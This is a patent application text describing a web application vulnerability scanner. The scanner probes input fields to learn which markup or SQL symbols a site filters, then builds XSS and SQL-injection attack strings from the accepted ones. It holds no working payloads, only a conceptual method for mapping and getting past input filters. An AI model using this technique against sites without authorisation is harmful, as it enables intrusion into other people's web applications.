[0031] More specifically, the present invention is a web application vulnerability assessment tool that intelligently analyzes a web application.  This is accomplished by first conducting a crawl of the web application to identify input fields.  In addition a domain of symbols that can be used as input for the input fields of the web application is identified.  This domain may be provided to the assessment tool or maybe generated by the assessment tool by identifying the language of a web site and using the constructs of that language as the domain.  Next, a determination is made regarding which of the symbols are filtered and which are accepted by the web application.  Symbols that are filtered are basically tossed and useless but the symbols that are accepted are used to build a vocabulary.  Using the vocabulary, attack strings are generated.  These attack strings are then sent to the web application and the response is reviewed to determine any vulnerabilities that may exist in the web application.  
[0032] In one embodiment, the process of determining which symbols are filtered and which are allowed includes first creating a string that contains one or more of the symbols.  The string is then sent as input to the web application.  The response from the web application is analyzed to identify which symbols, if any, were accepted.   This may be an iterative process in which multiple strings are created and sent to the web application, analyzed, and used to modify the vocabulary.  The process of generating attack strings may operate after the generation of the vocabulary or it may run concurrently with the vocabulary generation.  For instance, once an attack string is generated and sent, the response is analyzed to confirm whether the attack actually worked.  This verification step reduces false positives and also provides feedback regarding the allowed alphabet.  If an attack is composed of symbols which are known to be allowed, the combination of these symbols may actually be filtered.  The invention can then iterate through these symbols or groups of symbols and thereby modify the vocabulary.
[0033] The figures and the description below will elaborate on the various aspects and features of the present invention.  
BRIEF DESCRIPTION OF THE SEVERAL VIEWS OF THE DRAWING
[0034] FIG. 1 is a system diagram of a typical structure for an assessment tool. 
[0035] FIG. 2 is a conceptual diagram of how a traditional web application scanning vulnerability assessment would be conducted when seeking an instance of cross-site scripting.  
[0036] FIG. 3 is a conceptual drawing of the techniques employed in one embodiment of the present invention as contrasted with the techniques employed by a static check technology system shown in FIG. 2.  
[0037] FIG. 4 is a flow diagram depicting a very high-level view of the operation of the present invention.  
[0038] FIG. 5 is a flow diagram depicting the steps involved in an exemplary embodiment of an engine discovering the input allowances of a web application and generating a vocabulary of acceptable input.  
[0039] FIG. 6 is a flow diagram depicting the steps involved in an exemplary embodiment of an engine building attack strings from a vocabulary of acceptable inputs 710.
DETAILED DESCRIPTION OF THE INVENTION
[0040] The present invention brings a significant improvement to vulnerability assessment tools by employing the use of intelligent engine technology.  The present invention introduces technology that should significantly change how customers and analysts evaluate web application assessment products.  Although the present invention does not render the use of static checks obsolete, nonetheless, the present invention provides a solution that improves the performance, reliability and efficiency of web application assessment products.  In general, the present invention utilizes a combination of intelligent engines and static checks to provide a thorough and efficient web application assessment product.  
[0041] Advantageously, the present invention enables security professionals to complete assessments much faster, virtually eliminate false positives, and increase the number of true vulnerabilities discovered during the assessment.  Good measuring sticks to compare the current state-of-the-art static checking technology with the technology of the present invention include the amount of time to conduct an assessment and the number of false positives identified.  As a simple comparison to give an idea of the magnitude of the improvements available with the present invention, but in no way a totally accurate projection for all embodiments of the present invention, an automated test for a vulnerability like XSS could take up to three hours and yield results with many false positives using the current static check technology.  However, using the intelligent engine technology of the present invention given the current state of the art computing power could result in reducing the processing time to a matter of minutes (i.e, 12-15 minutes) with almost no false positives being identified.  
[0042] The present invention provides a structured logic-based approach for conducting an assessment by providing an intelligent, sophisticated engine that analyzes the conditions in the application and then uses that knowledge in a targeted attack.  In contrast, the current static checks technology approach fires off every possible attack option without taking into account the uniqueness of the application.
[0043] Embodiments of the present invention operate to dynamically generate attacks based on how the server responds to various requests.  In essence, the present invention operates to eliminate the number of checks that are performed by working on a more detailed level to identify the general response characteristics of the web application and, based on this information, greatly reduces the amount of checking that needs to be performed.  FIG. 3 is a conceptual drawing of the techniques employed in one embodiment of the present invention as contrasted with the techniques employed by a static check technology system shown in FIG. 2.  
[0044] FIG. 4 is a flow diagram depicting a very high-level view of the operation of the present invention.  The present invention can be embodied within an engine that drives an assessment tool.  The steps described in this flowchart are not necessarily literal steps that are taken in the present order.  Rather, these are functional steps that can be implemented in a variety of manners in various embodiments of the present invention.  In addition, the functional steps may be iterative and integrated.  For instance, a portion of one functional step may be repeated multiple time and may be responsive to results produced in other functional steps.  Initially, the engine performs or receives the results of a crawl or uses other techniques to determine what locations on a web page generated by the web application accept input 410.  This determination may included identifying whether the input is within a frame structure, a form, a selection box, etc.  The engine then determines what is allowed as input on that page, or at a particular data entry location 420.  This process involves serially sending different characters, symbols, strings, etc. to the data input of the web page and monitoring the responses.  In exemplary embodiments, this may be a very systematic and focused procedure that includes basic rudimentary steps that are employed at the onset, to clearly identify the scope of input allowances.  The monitoring of the responses from the web application can be accomplished in a variety of manners, such as using a JavaScript parser to parse the response and determine if vulnerabilities exist or what particular characters, symbols, or strings are accepted or filtered.  A particular embodiment of this aspect of the invention is illustrated in FIG. 6.  After the input allowances and filters are characterized, the engine then builds attack strings 430.  The engine uses the attack strings to submit an attack against the application 440.  Finally, the engine analyzes the responses to the attacks to determine if the attack was successful or if it failed 450.  If the attack fails, the various embodiments of the invention may take actions to further isolate the cause of the failure and even take remedial actions to modify the attack.  An example of one embodiment of this aspect of the invention is illustrated in FIG. 6.  As a general  example, the present invention may operate to determine if the web application properly filters the characters "<" and ">".  If the web application filters these characters, then the present invention may operate to determine if the HTML entity, or hex representation of these characters (namely %3C and %3E) are filtered.  Likewise, the present invention goes through a set of characters, symbols, expressions, etc. that define the entire markup language, or a subset thereof, to identify the allowed versus the filtered vocabulary, and then builds the attack strings based on this knowledge.  
[0045] FIG. 5 is a flow diagram depicting the steps involved in an exemplary embodiment of an engine discovering the input allowances of a web application and generating a vocabulary of acceptable input.  One of the characteristics of web applications that the present invention takes advantage of is that the web servers generally use a limited set of backend processing routines.  Thus, the responses received from probing various inputs on the web application will tend to be consistent across either the entire set of inputs or at least groupings of inputs.  As described further in the United States Patent Applications referenced in the Related Applications Section, actions can be taken to characterize the inputs and categorize them based on backend processing routines.  This characteristic allows the engine to eliminate duplicative probes while building the vocabulary.  Initially, the engine accesses or starts with a predefined domain of input characters, symbols, strings, etc. which is referred to as the input alphabet 510.  In essence, the input alphabet consists of all the constructs, commands, symbols, directives, attributes and keywords included in the markup language used in the target web application or in the particular attack techniques being asserted.  For instance, the alphabet may differ between HTML, XML, etc.  Likewise, for SQL injection the alphabet would include SQL constructs, LDAP would use LDAP constructs, etc.  It should be appreciated that the present invention can be incorporated into an embodiment that focuses on a single alphabet, such as one composed of HTML constructs, or in an embodiment that combines multiple alphabets and generating a single common vocabulary or separate vocabularies.  A loop is then entered for each member, or a subset of the members of the input alphabet 512.  The loop is executed until the entire alphabet has been utilized, or an identified or selected subset of the alphabet, in one embodiment and in another embodiment, limitations may be imposed to identify when to stop.  For instance, if the vocabulary grows to a point that it includes all of the elements necessary to build and launch an attack, the loop may be terminated earlier.  Likewise, the loop can run in parallel or in conjunction with an attack process.  
[0046] Using one or more of the members of the alphabet, a probe is formulated and sent to the web application 514.  The probe may take on a variety of formats and the present invention is not limited to any particular format.  The response of the web application to the probe is then received 516.  The response is analyzed to determine which members of the alphabet, if any, were filtered by the web server and which were allowed for this input 518.  The members of the alphabet that were accepted are then entered into the vocabulary 520.  Processing then returns to the top of the loop 512 to work with the next one or more members of the alphabet.  It should be appreciated that the probe may include a string of several members of the alphabet.  If the entire string is accepted, each of those members of the alphabet is placed into a vocabulary.  In an exemplary embodiment, the individual symbols that were included in the string can be entered as individual entries in the vocabulary.  In another embodiment, the entire string of symbols may be entered into the vocabulary.  If the entire string is rejected, a "divide and conquer" searching algorithm can be used to send several smaller groupings of string members to determine what was rejected and what was allowed.  Failing that, each member of the string can be sent individually.  An example of this embodiment is provided in conjunction with FIG. 6 and the description associated with FIG. 6.  An alternative algorithm may revert to sending the individual string members of any rejected string, or the individual string members that are not already included in the vocabulary.  Those skilled in the art will appreciate that although the disclosed methods for identifying the vocabulary may in and of themselves be considered novel, the present invention is not limited to any particular technique.  Rather, the present invention can utilize any of a variety of techniques for identifying the vocabulary through sending probes and analyzing responses.  
[0047] FIG. 6 is a flow diagram depicting the steps involved in an exemplary embodiment of the present invention.  It should be appreciated that the illustrated flowchart is simply one method to implement the invention and that the particular features and aspects described in this embodiment are for illustrative purposes and are not limiting.  However, it should also be appreciated that the illustrated embodiment is also, in and of itself, considered to be novel.  The embodiment is shown as two processes that can run in parallel.  The first process is the vocabulary builder 600 and the second process is the attacker 650.  As will be described, the vocabulary builder 600 works with a alphabet or domain of symbols or sets of symbols.  The vocabulary builder can add to or augment this domain as well as to build a vocabulary of allowed symbols or symbol sets.  The attacker 650 monitors the vocabulary to determine if and when attacks can be created and then augments the domain of symbols or sets of symbols depending on the results of the attack.  
[0048] More specifically, the vocabulary builder 600 accesses a pool of symbols (domain) to obtain a symbol or a set of symbols 604.  The symbols may be selected from the pool based on the vulnerabilities that the engine is looking for (i.e., HTML symbols for XSS, SQL keywords for SQL injection, XML items for XPath, etc).  Alternatively, the symbols may simply be fed to the vocabulary builder in a queued fashion, selected based on heuristics, or using other techniques.  Regardless of the technique employed, symbols or sets of symbols are used to generate or are incorporated into a probe to be sent to the web application 608.  The response of the web application to the probe is then analyzed 612.  If the entire probe is rejected 616, then the symbols within the probe can be reinserted into the symbol pool 620.  This reinsertion may be accomplished by breaking each of the symbols out on an individual basis or, several sets of symbols can be created from the list of rejected symbols.  In addition, a recursive process can be employed to systematically break the sets of symbols down further and further and resubmit the symbol sets starting at step 604 to isolate the causes of the rejection.  
[0049] If the entire probe is not rejected 616, some of the symbols within the probe may be identified as allowed symbols while others may be determined to have been filtered or rejected by the web application.  Each of the symbols that are identified as allowed symbols are added to the vocabulary 624.  For the symbols that are identified as rejected, they are either reentered into the pool individually, as sets or as a combination of both.  Processing then continues at step 604 to obtain the next symbol(s) to be examined.  This process can continue until the entire pool is exhausted, or until another process suspends this process or, it may continue perpetually and only entering into an idle mode if the pool is empty, and then simply waiting for new entries into the pool.   
[0050] The attacker 650 initially watches the vocabulary builder 600 waiting for entries to be placed into the vocabulary.  As such, the attacker 650 access the vocabulary 654 and if there are insufficient entries to create an attack 658, the attacker 650 basically runs in a loop.  Once sufficient entries are available 658, an attack string is built from a vocabulary of acceptable inputs 662.  The vocabulary may include several markup language constructs, codes and language elements.  The engine is able to identify the attacks that are desired and then examine the entries in the vocabulary to determine which attacks are supported.  It should be understood that this aspect of the present invention can be implemented in a variety of manners.  For instance, in one embodiment, a dictionary of attacks and signatures may be made known or accessible to the engine.  This dictionary may simply be a static database of attacks that can be searched or indexed by various keywords.  Using this dictionary, the engine can identify the attacks and signatures that are supported by the vocabulary.  As a non-limiting example, if the HTML keywords of "image" and "onload" are in the vocabulary, the engine can retrieve all of the attack strings that include these keywords.  The engine can then send theses attack strings against the web application.  
[0051] Alternatively, the engine may actually build the attacks on the fly, either once the vocabulary is identified or while the vocabulary is being generated.  The attack strings can be generated from the vocabulary in a variety of manners including brute force, modified brute force, or through the application of heuristics.  Applying brute force simply examines the elements in the vocabulary and generates strings based on selecting each element and possible combinations of elements and probing the web application with them.  This approach is not ideal in that many bogus and useless strings may be generated and, if the vocabulary is large, the number of combinations and the time to test the web application with the combinations may be prohibitive.  However, the modified brute force method employs the use of language logic and constructs to generate the strings.  Thus, the various language elements that are in the vocabulary can be identified and applied in the process of string generation in a manner that generates only valid language probes.  Finally, a set of heuristics or other algorithmic procedures may be applied to the library in an effort to generate the attack strings.  For instance, by defining the general types of attacks to be levied on a web application, the vocabulary can be searched to identify the building blocks necessary to create attack strings for those attacks.  Those skilled in the art will be familiar with the types of attacks that can be used against a web application, including but not limited to XSS, SQL Injection, and DOM type XSS attacks, and how to build such an attack string generator given the identified vocabulary.  
[0052] In another embodiment of the present invention, the process of building the vocabulary and generating attack strings is an integrated process.  For instance, the engine can start off by sending an attack string that includes one or more language keywords or that simply complies with the allowed/filtered vocabularies 664.  The response to the attack string is then analyzed 668 to see if the attack worked.  If the attack fails, 673, the attacker may generate new sets of symbols 674 that can be fed back through the vocabulary builder process 600 and a next attack can be performed returning to step 654.  However, in other embodiments, the analysis process may be quite involved and include sending multiple and different attack requests and analyzing/comparing the multiple responses.  This aspect of the invention greatly reduces the occurrence of false positives.  If the attack string is rejected, then the engine can generate a different test string that changes one or more of the language keywords If this string is successful, then some of the vocabulary of allowances can be identified by comparing the two strings.  Similarly, the string may have resulted in identifying a vulnerability of the web application.  Thus, the engine is working in an integrated fashion to (a) probe the web application for vulnerabilities, (b) generate test strings, (c) augment the allowance vocabulary and (d) feed information back into the symbol pool all at the same time.  However, if this second string is also rejected, then the engine can compare the two strings to identify potentially filtered keywords, formulate a new string and repeat the cycle until a string is either accepted or the entire alphabet is exhausted.  Alternatively, or in addition to, as previously mentioned, once a string is rejected the engine may  enter an element by element analysis where each element in the string is individually sent to the web application to determine whether it is being accepted or filtered.  Then processing can continue with the formulation of attack strings based on the allowed vocabulary and the remaining elements in the alphabet.  
[0053] It should be appreciated that the embodiments and specific examples provided in this description are provided as non-limiting examples and as such, even though they may individually be considered as novel, should not be construed as the only novel implementations or configurations of the present invention.  The described embodiments comprise different features, not all of which are required in all embodiments of the invention.  Some embodiments of the present invention utilize only some of the features or possible combinations of the features.  Variations of embodiments of the present invention that are described and embodiments of the present invention comprising different combinations of features noted in the described embodiments will occur to persons of the art.  The scope of the invention is limited only by the following claims.
WHAT IS CLAIMED IS:
1.    A method for assessing the vulnerabilities of a markup language based web application, the method comprising the steps of:
probing the web application to identify the symbols that are not filtered by the web server; and
constructing attack strings based on the results of the probing step.
2.    The method of claim 1, wherein the symbols are language constructs of the markup language and the step of probing the web application further comprises sending probes to the web application with each probe containing one or more of the language constructs.
3.    The method of claim 2, wherein the step of probing the web application further comprises the steps of:
receiving a response from the web application;
analyzing the response to determine if any of the one or more language constructs are contained in the response; and
identifying the one or more language constructs contained in the response as allowed language constructs.
4.    The method of claim 1, wherein the step of probing the web application further comprises the steps of:
creating a string that includes a plurality of symbols;
sending the string as input to the web application;
receiving a rejection of the string from the web application;
recursively sending subsets of the symbols in the rejected string, on  as inputs to the web application; and
analyzing the responses from the web application to determine if a particular subset of the symbols is allowed or filtered.  
5.    The method of claim 4, further comprising the steps of:
creating a next string that includes one or more of the symbols that have not yet been tested and the symbols that are allowed;
sending the next string to the web application;
receiving a rejection of the next string from the web application;
sending each symbol in the rejected string that has not already been identified as an allowed symbol, on its own as input to the web application; 
analyzing the response from the web application to determine if a symbol in the next string is allowed or filtered; and
continuing from the step of creating a next string.  
6.    The method of claim 1, wherein the step of probing the web application further comprises the steps of:
creating a string that includes a plurality of symbols;
sending the string as input to the web application;
receiving a rejection of the string from the web application; and
applying a divide and conquer algorithm to isolate the symbols causing the rejection of the string.  
7.    The method of claim 1, wherein the symbols are constructs of the attack technique being employed.
8.    The method of claim 1, wherein the step of generating attack strings further comprises the steps of:
accessing a database of known attack strings; and
selecting specific attack strings from the database of known attack strings that do not contain filtered symbols.
9.    The method of claim 1, wherein the symbols are language constructs of the markup language and the step of generating attack strings further comprises the step of generating attack strings that include all combinations of the symbols that are not filtered.
10.    The method of claim 1, wherein the symbols are language constructs of the markup language and the step of generating attack strings further comprises the step of generating attack strings that include all valid combinations of the symbols that are not filtered.
11.    The method of claim 1, wherein the symbols are language constructs of the markup language and the step of generating attack strings further comprises the step of generating attack strings directed towards specific vulnerabilities based on the use of symbols that are not filtered.
12.    The method of claim 1, wherein the symbols are language constructs of the markup language and the step of probing the web application further comprises the steps of:
sending probes to the web application with each probe containing one or more of the language constructs;
receiving a response from the web application;
analyzing the response to determine if any of the one or more language constructs are contained in the response; 
identifying the one or more language constructs contained in the response as allowed language constructs; and
the step of generating attack strings further comprises generating attack strings using the allowed language constructs. 
13.    The method of claim 12, wherein the step of sending the probes is only performed on a selected number of the inputs for the web application.
14.    A method for conducting a web application vulnerability assessment, the method comprising the steps of:
conducting a crawl of the web application to identify input fields;
identifying a domain of symbols that can be used as input for the input fields of the web application;
determining which of the symbols are filtered and which are accepted by the web application;
building a vocabulary consisting of the symbols that are accepted by the web application; 
generating one or more attack strings based at least in part on the vocabulary;
sending the attack strings to the web application; and
identifying any vulnerabilities uncovered by the step of sending the attack strings.
15.    The method of claim 14, wherein the step of determining which symbols are filtered and which are echoed by the web application further comprises the steps of:
creating a first string, the first string containing one or more symbols;
sending the first string as input to the web application;
receiving a response from the web application; and
analyzing the response to identify symbols that are echoed and filtered by the web application.
16.    The method of claim 15, further comprising the steps of:
generating a next string, the next string containing one or more symbols that have not already been determined to be filtered symbols;
sending the next string as input to the web application;
receiving a response from the web application; 
analying the response to identify symbols that are echoed and filtered by the web application; and
continuing at the generating step until all symbols have been identified as echoed or filtered.
17.    The method of claim 16, wherein the step of generating one or more attack strings based at least in part on the vocabulary may be the same step as the step of generating a next string.
18.    The method of claim 16, wherein the step of generating one or more attack strings based at least in part on the vocabulary does not occur until the vocabulary has been completely built.  
19.    The method of claim 14, wherein a database of static attack strings is provided and the step of generating one or more attack strings further comprises selecting attack strings from the static attack stings that are constructed with symbols in the vocabulary.  
20.    A method for conducting a web application vulnerability assessment, the method comprising the steps of:
determining which of the symbols of a domain of available symbols are filtered and which are accepted by the input server of a web application;
building a vocabulary consisting of the symbols that are accepted by the web application; 
generating one or more attack strings based at least in part on the vocabulary; and
assessing the vulnerability of the web application by using the attack strings.
21.    The method of claim 20, wherein the domain of available symbols is the constructs of the markup language used to generate the web pages of the web application, and the step of determining which of the symbols are filtered and which are accepted by the input server of the web application comprises the steps of:
sending one or more of the symbols in a probe to the web application;
receiving a response from the web application that includes an echo of one or more of the symbols in the probe; and
analying the response to identify which symbols were echoed back.
22.    The method of claim 20, wherein the step of generating one or more attack strings based at least in part on the vocabulary further comprises building attack strings using constructs of the markup language that are included in the vocabulary.  
23.    The method of claim 20, wherein the domain of available symbols is the constructs of the attack technique being employed, and the step of determining which of the symbols are filtered and which are accepted by the input server of the web application comprises the steps of:
sending one or more of the symbols in a probe to the web application;
receiving a response from the web application indicating whether the probe was accepted or rejected; 
applying an algorithm to separate out the one or more symbols in the probe to send further probes and thereby isolate the symbols invoking the rejection.
ABSTRACT OF THE DISCLOSURE
A web application is more efficiently analyzed by intelligently generating attack sequences to be used in the assessment.  Rather than simply sending a canned list of static strings at a web application, the operation of the web application is analyzed to determine the filtering and acceptance characteristics of the web site.  As this information is ascertained, a vocabulary of allowed symbols is created.  This vocabulary is used in the building of attack strings and as such, the number of attack strings fired at the web application is greatly reduced, as well as the number of false positives.   
Fig. no. 2
2008135029.tif 000009
2008135029.tif 000010
2008135029.tif 000011
2008135029.tif 000012
2008135029.tif 000013
2008135029.tif 000014